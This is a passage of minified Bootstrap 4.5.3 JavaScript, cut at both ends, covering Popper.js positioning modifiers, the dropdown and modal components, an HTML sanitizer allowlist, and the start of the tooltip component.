o=t.placement.split("-")[0],r=t.offsets,a=r.popper,s=r.reference,l=-1!==["left","right"].indexOf(o),u=l?"height":"width",f=l?"Top":"Left",d=f.toLowerCase(),c=l?"left":"top",h=l?"bottom":"right",p=rt(i)[u];s[h]-p<a[d]&&(t.offsets.popper[d]-=a[d]-(s[h]-p)),s[d]+p>a[h]&&(t.offsets.popper[d]+=s[d]+p-a[h]),t.offsets.popper=K(t.offsets.popper);var m=s[d]+s[u]/2-p/2,g=I(t.instance.popper),v=parseFloat(g["margin"+f]),_=parseFloat(g["border"+f+"Width"]),b=m-t.offsets.popper[d]-v-_;return b=Math.max(Math.min(a[u]-p,b),0),t.arrowElement=i,t.offsets.arrow=(z(n={},d,Math.round(b)),z(n,c,""),n),t},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(t,e){if(dt(t.instance.modifiers,"inner"))return t;if(t.flipped&&t.placement===t.originalPlacement)return t;var n=et(t.instance.popper,t.instance.reference,e.padding,e.boundariesElement,t.positionFixed),i=t.placement.split("-")[0],o=at(i),r=t.placement.split("-")[1]||"",a=[];switch(e.behavior){case St:a=[i,o];break;case Dt:a=Ct(i);break;case Nt:a=Ct(i,!0);break;default:a=e.behavior}return a.forEach((function(s,l){if(i!==s||a.length===l+1)return t;i=t.placement.split("-")[0],o=at(i);var u=t.offsets.popper,f=t.offsets.reference,d=Math.floor,c="left"===i&&d(u.right)>d(f.left)||"right"===i&&d(u.left)<d(f.right)||"top"===i&&d(u.bottom)>d(f.top)||"bottom"===i&&d(u.top)<d(f.bottom),h=d(u.left)<d(n.left),p=d(u.right)>d(n.right),m=d(u.top)<d(n.top),g=d(u.bottom)>d(n.bottom),v="left"===i&&h||"right"===i&&p||"top"===i&&m||"bottom"===i&&g,_=-1!==["top","bottom"].indexOf(i),b=!!e.flipVariations&&(_&&"start"===r&&h||_&&"end"===r&&p||!_&&"start"===r&&m||!_&&"end"===r&&g),y=!!e.flipVariationsByContent&&(_&&"start"===r&&p||_&&"end"===r&&h||!_&&"start"===r&&g||!_&&"end"===r&&m),w=b||y;(c||v||w)&&(t.flipped=!0,(c||v)&&(i=a[l+1]),w&&(r=function(t){return"end"===t?"start":"start"===t?"end":t}(r)),t.placement=i+(r?"-"+r:""),t.offsets.popper=X({},t.offsets.popper,st(t.instance.popper,t.offsets.reference,t.placement)),t=ut(t.instance.modifiers,t,"flip"))})),t},behavior:"flip",padding:5,boundariesElement:"viewport",flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(t){var e=t.placement,n=e.split("-")[0],i=t.offsets,o=i.popper,r=i.reference,a=-1!==["left","right"].indexOf(n),s=-1===["top","left"].indexOf(n);return o[a?"left":"top"]=r[n]-(s?o[a?"width":"height"]:0),t.placement=at(e),t.offsets.popper=K(o),t}},hide:{order:800,enabled:!0,fn:function(t){if(!wt(t.instance.modifiers,"hide","preventOverflow"))return t;var e=t.offsets.reference,n=lt(t.instance.modifiers,(function(t){return"preventOverflow"===t.name})).boundaries;if(e.bottom<n.top||e.left>n.right||e.top>n.bottom||e.right<n.left){if(!0===t.hide)return t;t.hide=!0,t.attributes["x-out-of-boundaries"]=""}else{if(!1===t.hide)return t;t.hide=!1,t.attributes["x-out-of-boundaries"]=!1}return t}},computeStyle:{order:850,enabled:!0,fn:function(t,e){var n=e.x,i=e.y,o=t.offsets.popper,r=lt(t.instance.modifiers,(function(t){return"applyStyle"===t.name})).gpuAcceleration;void 0!==r&&console.warn("WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!");var a=void 0!==r?r:e.gpuAcceleration,s=R(t.instance.popper),l=G(s),u={position:o.position},f=function(t,e){var n=t.offsets,i=n.popper,o=n.reference,r=Math.round,a=Math.floor,s=function(t){return t},l=r(o.width),u=r(i.width),f=-1!==["left","right"].indexOf(t.placement),d=-1!==t.placement.indexOf("-"),c=e?f||d||l%2==u%2?r:a:s,h=e?r:s;return{left:c(l%2==1&&u%2==1&&!d&&e?i.left-1:i.left),top:h(i.top),bottom:h(i.bottom),right:c(i.right)}}(t,window.devicePixelRatio<2||!yt),d="bottom"===n?"top":"bottom",c="right"===i?"left":"right",h=ct("transform"),p=void 0,m=void 0;if(m="bottom"===d?"HTML"===s.nodeName?-s.clientHeight+f.bottom:-l.height+f.bottom:f.top,p="right"===c?"HTML"===s.nodeName?-s.clientWidth+f.right:-l.width+f.right:f.left,a&&h)u[h]="translate3d("+p+"px, "+m+"px, 0)",u[d]=0,u[c]=0,u.willChange="transform";else{var g="bottom"===d?-1:1,v="right"===c?-1:1;u[d]=m*g,u[c]=p*v,u.willChange=d+", "+c}var _={"x-placement":t.placement};return t.attributes=X({},_,t.attributes),t.styles=X({},u,t.styles),t.arrowStyles=X({},t.offsets.arrow,t.arrowStyles),t},gpuAcceleration:!0,x:"bottom",y:"right"},applyStyle:{order:900,enabled:!0,fn:function(t){var e,n;return bt(t.instance.popper,t.styles),e=t.instance.popper,n=t.attributes,Object.keys(n).forEach((function(t){!1!==n[t]?e.setAttribute(t,n[t]):e.removeAttribute(t)})),t.arrowElement&&Object.keys(t.arrowStyles).length&&bt(t.arrowElement,t.arrowStyles),t},onLoad:function(t,e,n,i,o){var r=ot(o,e,t,n.positionFixed),a=it(n.placement,r,e,t,n.modifiers.flip.boundariesElement,n.modifiers.flip.padding);return e.setAttribute("x-placement",a),bt(e,{position:n.positionFixed?"fixed":"absolute"}),n},gpuAcceleration:void 0}}},It=function(){function t(e,n){var i=this,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};V(this,t),this.scheduleUpdate=function(){return requestAnimationFrame(i.update)},this.update=k(this.update.bind(this)),this.options=X({},t.Defaults,o),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=e&&e.jquery?e[0]:e,this.popper=n&&n.jquery?n[0]:n,this.options.modifiers={},Object.keys(X({},t.Defaults.modifiers,o.modifiers)).forEach((function(e){i.options.modifiers[e]=X({},t.Defaults.modifiers[e]||{},o.modifiers?o.modifiers[e]:{})})),this.modifiers=Object.keys(this.options.modifiers).map((function(t){return X({name:t},i.options.modifiers[t])})).sort((function(t,e){return t.order-e.order})),this.modifiers.forEach((function(t){t.enabled&&A(t.onLoad)&&t.onLoad(i.reference,i.popper,i.options,t,i.state)})),this.update();var r=this.options.eventsEnabled;r&&this.enableEventListeners(),this.state.eventsEnabled=r}return Y(t,[{key:"update",value:function(){return ft.call(this)}},{key:"destroy",value:function(){return ht.call(this)}},{key:"enableEventListeners",value:function(){return gt.call(this)}},{key:"disableEventListeners",value:function(){return vt.call(this)}}]),t}();It.Utils=("undefined"!=typeof window?window:global).PopperUtils,It.placements=Et,It.Defaults=At;var Ot="dropdown",xt=i.default.fn[Ot],jt=new RegExp("38|40|27"),Lt={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic",popperConfig:null},Pt={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string",popperConfig:"(null|object)"},Ft=function(){function t(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var e=t.prototype;return e.toggle=function(){if(!this._element.disabled&&!i.default(this._element).hasClass("disabled")){var e=i.default(this._menu).hasClass("show");t._clearMenus(),e||this.show(!0)}},e.show=function(e){if(void 0===e&&(e=!1),!(this._element.disabled||i.default(this._element).hasClass("disabled")||i.default(this._menu).hasClass("show"))){var n={relatedTarget:this._element},o=i.default.Event("show.bs.dropdown",n),r=t._getParentFromElement(this._element);if(i.default(r).trigger(o),!o.isDefaultPrevented()){if(!this._inNavbar&&e){if("undefined"==typeof It)throw new TypeError("Bootstrap's dropdowns require Popper.js (https://popper.js.org/)");var a=this._element;"parent"===this._config.reference?a=r:l.isElement(this._config.reference)&&(a=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(a=this._config.reference[0])),"scrollParent"!==this._config.boundary&&i.default(r).addClass("position-static"),this._popper=new It(a,this._menu,this._getPopperConfig())}"ontouchstart"in document.documentElement&&0===i.default(r).closest(".navbar-nav").length&&i.default(document.body).children().on("mouseover",null,i.default.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),i.default(this._menu).toggleClass("show"),i.default(r).toggleClass("show").trigger(i.default.Event("shown.bs.dropdown",n))}}},e.hide=function(){if(!this._element.disabled&&!i.default(this._element).hasClass("disabled")&&i.default(this._menu).hasClass("show")){var e={relatedTarget:this._element},n=i.default.Event("hide.bs.dropdown",e),o=t._getParentFromElement(this._element);i.default(o).trigger(n),n.isDefaultPrevented()||(this._popper&&this._popper.destroy(),i.default(this._menu).toggleClass("show"),i.default(o).toggleClass("show").trigger(i.default.Event("hidden.bs.dropdown",e)))}},e.dispose=function(){i.default.removeData(this._element,"bs.dropdown"),i.default(this._element).off(".bs.dropdown"),this._element=null,this._menu=null,null!==this._popper&&(this._popper.destroy(),this._popper=null)},e.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},e._addEventListeners=function(){var t=this;i.default(this._element).on("click.bs.dropdown",(function(e){e.preventDefault(),e.stopPropagation(),t.toggle()}))},e._getConfig=function(t){return t=a({},this.constructor.Default,i.default(this._element).data(),t),l.typeCheckConfig(Ot,t,this.constructor.DefaultType),t},e._getMenuElement=function(){if(!this._menu){var e=t._getParentFromElement(this._element);e&&(this._menu=e.querySelector(".dropdown-menu"))}return this._menu},e._getPlacement=function(){var t=i.default(this._element.parentNode),e="bottom-start";return t.hasClass("dropup")?e=i.default(this._menu).hasClass("dropdown-menu-right")?"top-end":"top-start":t.hasClass("dropright")?e="right-start":t.hasClass("dropleft")?e="left-start":i.default(this._menu).hasClass("dropdown-menu-right")&&(e="bottom-end"),e},e._detectNavbar=function(){return i.default(this._element).closest(".navbar").length>0},e._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=a({},e.offsets,t._config.offset(e.offsets,t._element)||{}),e}:e.offset=this._config.offset,e},e._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),a({},t,this._config.popperConfig)},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this).data("bs.dropdown");if(n||(n=new t(this,"object"==typeof e?e:null),i.default(this).data("bs.dropdown",n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},t._clearMenus=function(e){if(!e||3!==e.which&&("keyup"!==e.type||9===e.which))for(var n=[].slice.call(document.querySelectorAll('[data-toggle="dropdown"]')),o=0,r=n.length;o<r;o++){var a=t._getParentFromElement(n[o]),s=i.default(n[o]).data("bs.dropdown"),l={relatedTarget:n[o]};if(e&&"click"===e.type&&(l.clickEvent=e),s){var u=s._menu;if(i.default(a).hasClass("show")&&!(e&&("click"===e.type&&/input|textarea/i.test(e.target.tagName)||"keyup"===e.type&&9===e.which)&&i.default.contains(a,e.target))){var f=i.default.Event("hide.bs.dropdown",l);i.default(a).trigger(f),f.isDefaultPrevented()||("ontouchstart"in document.documentElement&&i.default(document.body).children().off("mouseover",null,i.default.noop),n[o].setAttribute("aria-expanded","false"),s._popper&&s._popper.destroy(),i.default(u).removeClass("show"),i.default(a).removeClass("show").trigger(i.default.Event("hidden.bs.dropdown",l)))}}}},t._getParentFromElement=function(t){var e,n=l.getSelectorFromElement(t);return n&&(e=document.querySelector(n)),e||t.parentNode},t._dataApiKeydownHandler=function(e){if(!(/input|textarea/i.test(e.target.tagName)?32===e.which||27!==e.which&&(40!==e.which&&38!==e.which||i.default(e.target).closest(".dropdown-menu").length):!jt.test(e.which))&&!this.disabled&&!i.default(this).hasClass("disabled")){var n=t._getParentFromElement(this),o=i.default(n).hasClass("show");if(o||27!==e.which){if(e.preventDefault(),e.stopPropagation(),!o||27===e.which||32===e.which)return 27===e.which&&i.default(n.querySelector('[data-toggle="dropdown"]')).trigger("focus"),void i.default(this).trigger("click");var r=[].slice.call(n.querySelectorAll(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)")).filter((function(t){return i.default(t).is(":visible")}));if(0!==r.length){var a=r.indexOf(e.target);38===e.which&&a>0&&a--,40===e.which&&a<r.length-1&&a++,a<0&&(a=0),r[a].focus()}}}},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return Lt}},{key:"DefaultType",get:function(){return Pt}}]),t}();i.default(document).on("keydown.bs.dropdown.data-api",'[data-toggle="dropdown"]',Ft._dataApiKeydownHandler).on("keydown.bs.dropdown.data-api",".dropdown-menu",Ft._dataApiKeydownHandler).on("click.bs.dropdown.data-api keyup.bs.dropdown.data-api",Ft._clearMenus).on("click.bs.dropdown.data-api",'[data-toggle="dropdown"]',(function(t){t.preventDefault(),t.stopPropagation(),Ft._jQueryInterface.call(i.default(this),"toggle")})).on("click.bs.dropdown.data-api",".dropdown form",(function(t){t.stopPropagation()})),i.default.fn[Ot]=Ft._jQueryInterface,i.default.fn[Ot].Constructor=Ft,i.default.fn[Ot].noConflict=function(){return i.default.fn[Ot]=xt,Ft._jQueryInterface};var Rt=i.default.fn.modal,Ht={backdrop:!0,keyboard:!0,focus:!0,show:!0},Mt={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},Bt=function(){function t(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=t.querySelector(".modal-dialog"),this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollbarWidth=0}var e=t.prototype;return e.toggle=function(t){return this._isShown?this.hide():this.show(t)},e.show=function(t){var e=this;if(!this._isShown&&!this._isTransitioning){i.default(this._element).hasClass("fade")&&(this._isTransitioning=!0);var n=i.default.Event("show.bs.modal",{relatedTarget:t});i.default(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),i.default(this._element).on("click.dismiss.bs.modal",'[data-dismiss="modal"]',(function(t){return e.hide(t)})),i.default(this._dialog).on("mousedown.dismiss.bs.modal",(function(){i.default(e._element).one("mouseup.dismiss.bs.modal",(function(t){i.default(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)}))})),this._showBackdrop((function(){return e._showElement(t)})))}},e.hide=function(t){var e=this;if(t&&t.preventDefault(),this._isShown&&!this._isTransitioning){var n=i.default.Event("hide.bs.modal");if(i.default(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var o=i.default(this._element).hasClass("fade");if(o&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),i.default(document).off("focusin.bs.modal"),i.default(this._element).removeClass("show"),i.default(this._element).off("click.dismiss.bs.modal"),i.default(this._dialog).off("mousedown.dismiss.bs.modal"),o){var r=l.getTransitionDurationFromElement(this._element);i.default(this._element).one(l.TRANSITION_END,(function(t){return e._hideModal(t)})).emulateTransitionEnd(r)}else this._hideModal()}}},e.dispose=function(){[window,this._element,this._dialog].forEach((function(t){return i.default(t).off(".bs.modal")})),i.default(document).off("focusin.bs.modal"),i.default.removeData(this._element,"bs.modal"),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._isTransitioning=null,this._scrollbarWidth=null},e.handleUpdate=function(){this._adjustDialog()},e._getConfig=function(t){return t=a({},Ht,t),l.typeCheckConfig("modal",t,Mt),t},e._triggerBackdropTransition=function(){var t=this;if("static"===this._config.backdrop){var e=i.default.Event("hidePrevented.bs.modal");if(i.default(this._element).trigger(e),e.isDefaultPrevented())return;var n=this._element.scrollHeight>document.documentElement.clientHeight;n||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");var o=l.getTransitionDurationFromElement(this._dialog);i.default(this._element).off(l.TRANSITION_END),i.default(this._element).one(l.TRANSITION_END,(function(){t._element.classList.remove("modal-static"),n||i.default(t._element).one(l.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,o)})).emulateTransitionEnd(o),this._element.focus()}else this.hide()},e._showElement=function(t){var e=this,n=i.default(this._element).hasClass("fade"),o=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),i.default(this._dialog).hasClass("modal-dialog-scrollable")&&o?o.scrollTop=0:this._element.scrollTop=0,n&&l.reflow(this._element),i.default(this._element).addClass("show"),this._config.focus&&this._enforceFocus();var r=i.default.Event("shown.bs.modal",{relatedTarget:t}),a=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,i.default(e._element).trigger(r)};if(n){var s=l.getTransitionDurationFromElement(this._dialog);i.default(this._dialog).one(l.TRANSITION_END,a).emulateTransitionEnd(s)}else a()},e._enforceFocus=function(){var t=this;i.default(document).off("focusin.bs.modal").on("focusin.bs.modal",(function(e){document!==e.target&&t._element!==e.target&&0===i.default(t._element).has(e.target).length&&t._element.focus()}))},e._setEscapeEvent=function(){var t=this;this._isShown?i.default(this._element).on("keydown.dismiss.bs.modal",(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||i.default(this._element).off("keydown.dismiss.bs.modal")},e._setResizeEvent=function(){var t=this;this._isShown?i.default(window).on("resize.bs.modal",(function(e){return t.handleUpdate(e)})):i.default(window).off("resize.bs.modal")},e._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){i.default(document.body).removeClass("modal-open"),t._resetAdjustments(),t._resetScrollbar(),i.default(t._element).trigger("hidden.bs.modal")}))},e._removeBackdrop=function(){this._backdrop&&(i.default(this._backdrop).remove(),this._backdrop=null)},e._showBackdrop=function(t){var e=this,n=i.default(this._element).hasClass("fade")?"fade":"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",n&&this._backdrop.classList.add(n),i.default(this._backdrop).appendTo(document.body),i.default(this._element).on("click.dismiss.bs.modal",(function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&e._triggerBackdropTransition()})),n&&l.reflow(this._backdrop),i.default(this._backdrop).addClass("show"),!t)return;if(!n)return void t();var o=l.getTransitionDurationFromElement(this._backdrop);i.default(this._backdrop).one(l.TRANSITION_END,t).emulateTransitionEnd(o)}else if(!this._isShown&&this._backdrop){i.default(this._backdrop).removeClass("show");var r=function(){e._removeBackdrop(),t&&t()};if(i.default(this._element).hasClass("fade")){var a=l.getTransitionDurationFromElement(this._backdrop);i.default(this._backdrop).one(l.TRANSITION_END,r).emulateTransitionEnd(a)}else r()}else t&&t()},e._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},e._setScrollbar=function(){var t=this;if(this._isBodyOverflowing){var e=[].slice.call(document.querySelectorAll(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top")),n=[].slice.call(document.querySelectorAll(".sticky-top"));i.default(e).each((function(e,n){var o=n.style.paddingRight,r=i.default(n).css("padding-right");i.default(n).data("padding-right",o).css("padding-right",parseFloat(r)+t._scrollbarWidth+"px")})),i.default(n).each((function(e,n){var o=n.style.marginRight,r=i.default(n).css("margin-right");i.default(n).data("margin-right",o).css("margin-right",parseFloat(r)-t._scrollbarWidth+"px")}));var o=document.body.style.paddingRight,r=i.default(document.body).css("padding-right");i.default(document.body).data("padding-right",o).css("padding-right",parseFloat(r)+this._scrollbarWidth+"px")}i.default(document.body).addClass("modal-open")},e._resetScrollbar=function(){var t=[].slice.call(document.querySelectorAll(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top"));i.default(t).each((function(t,e){var n=i.default(e).data("padding-right");i.default(e).removeData("padding-right"),e.style.paddingRight=n||""}));var e=[].slice.call(document.querySelectorAll(".sticky-top"));i.default(e).each((function(t,e){var n=i.default(e).data("margin-right");"undefined"!=typeof n&&i.default(e).css("margin-right",n).removeData("margin-right")}));var n=i.default(document.body).data("padding-right");i.default(document.body).removeData("padding-right"),document.body.style.paddingRight=n||""},e._getScrollbarWidth=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},t._jQueryInterface=function(e,n){return this.each((function(){var o=i.default(this).data("bs.modal"),r=a({},Ht,i.default(this).data(),"object"==typeof e&&e?e:{});if(o||(o=new t(this,r),i.default(this).data("bs.modal",o)),"string"==typeof e){if("undefined"==typeof o[e])throw new TypeError('No method named "'+e+'"');o[e](n)}else r.show&&o.show(n)}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return Ht}}]),t}();i.default(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',(function(t){var e,n=this,o=l.getSelectorFromElement(this);o&&(e=document.querySelector(o));var r=i.default(e).data("bs.modal")?"toggle":a({},i.default(e).data(),i.default(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var s=i.default(e).one("show.bs.modal",(function(t){t.isDefaultPrevented()||s.one("hidden.bs.modal",(function(){i.default(n).is(":visible")&&n.focus()}))}));Bt._jQueryInterface.call(i.default(e),r,this)})),i.default.fn.modal=Bt._jQueryInterface,i.default.fn.modal.Constructor=Bt,i.default.fn.modal.noConflict=function(){return i.default.fn.modal=Rt,Bt._jQueryInterface};var qt=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],Qt={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},Wt=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/gi,Ut=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;function Vt(t,e,n){if(0===t.length)return t;if(n&&"function"==typeof n)return n(t);for(var i=(new window.DOMParser).parseFromString(t,"text/html"),o=Object.keys(e),r=[].slice.call(i.body.querySelectorAll("*")),a=function(t,n){var i=r[t],a=i.nodeName.toLowerCase();if(-1===o.indexOf(i.nodeName.toLowerCase()))return i.parentNode.removeChild(i),"continue";var s=[].slice.call(i.attributes),l=[].concat(e["*"]||[],e[a]||[]);s.forEach((function(t){(function(t,e){var n=t.nodeName.toLowerCase();if(-1!==e.indexOf(n))return-1===qt.indexOf(n)||Boolean(t.nodeValue.match(Wt)||t.nodeValue.match(Ut));for(var i=e.filter((function(t){return t instanceof RegExp})),o=0,r=i.length;o<r;o++)if(n.match(i[o]))return!0;return!1})(t,l)||i.removeAttribute(t.nodeName)}))},s=0,l=r.length;s<l;s++)a(s);return i.body.innerHTML}var Yt="tooltip",zt=i.default.fn[Yt],Xt=new RegExp("(^|\\s)bs-tooltip\\S+","g"),Kt=["sanitize","whiteList","sanitizeFn"],Gt={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string|function)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)",sanitize:"boolean",sanitizeFn:"(null|function)",whiteList:"object",popperConfig:"(null|object)"},$t={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"},Jt={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:Qt,popperConfig:null},Zt={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},te=function(){function t(t,e){if("undefined"==typeof It)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var e=t.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=i.default(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),i.default(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(i.default(this.getTipElement()).hasClass("show"))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),i.default.removeData(this.element,this.constructor.DATA_KEY),i.default(this.element).off(this.constructor.EVENT_KEY),i.default(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&i.default(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var t=this;if("none"===i.default(this.element).css("display"))throw new Error("Please use show on visible elements");var e=i.default.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){i.default(this.element).trigger(e);var n=l.findShadowRoot(this.element),o=i.default.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!o)return;var r=this.getTipElement(),a=l.getUID(this.constructor.NAME);r.setAttribute("id",a),this.element.setAttribute("aria-describedby",a),this.setContent(),this.config.animation&&i.default(r).addClass("fade");var s="function"==typeof this.config.placement?this.config.placement.call(this,r,this.element):this.config.placement,u=this._getAttachment(s);this.addAttachmentClass(u);var f=this._getContainer();i.default(r).data(this.constructor.DATA_KEY,this),i.default.contains(this.element.ownerDocument.documentElement,this.tip)||i.default(r).appendTo(f),i.default(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new It(this.element,r,this._getPopperConfig(u)),i.default(r).addClass("show"),"ontouchstart"in document.documentElement&&i.default(document.body).children().on("mouseover",null,i.default.noop);var d=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,i.default(t.element).trigger(t.constructor.Event.SHOWN),"out"===e&&t._leave(null,t)};if(i.default(this.tip).hasClass("fade")){var c=l.getTransitionDurationFromElement(this.tip);i.default(this.tip).one(l.TRANSITION_END,d).emulateTransitionEnd(c)}else d()}},e.hide=function(t){var e=this,n=this.getTipElement(),o=i.default.Event(this.constructor.Event.HIDE),r=function(){"show"!==e._hoverState&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),i.default(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(i.default(this.element).trigger(o),!o.isDefaultPrevented()){if(i.default(n).removeClass("show"),"ontouchstart"in document.documentElement&&i.default(document.body).children().off("mouseover",null,i.default.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,i.default(this.tip).hasClass("fade")){var a=l.getTransitionDurationFromElement(n);i.default(n).one(l.TRANSITION_END,r).emulateTransitionEnd(a)}else r();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(t){i.default(this.getTipElement()).addClass("bs-tooltip-"+t)},e.getTipElement=function(){return this.tip=this.tip||i.default(this.config.template)[0],this.tip},e.setContent=function(){var t=this.getTipElement();this.setElementContent(i.default(t.querySelectorAll(".tooltip-inner")),this.getTitle()),i.default(t).removeClass("fade show")},e.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=Vt(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?i.default(e).parent().is(t)||t.empty().append(e):t.text(i.default(e).text())},e.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},e._getPopperConfig=function(t){var e=this;return 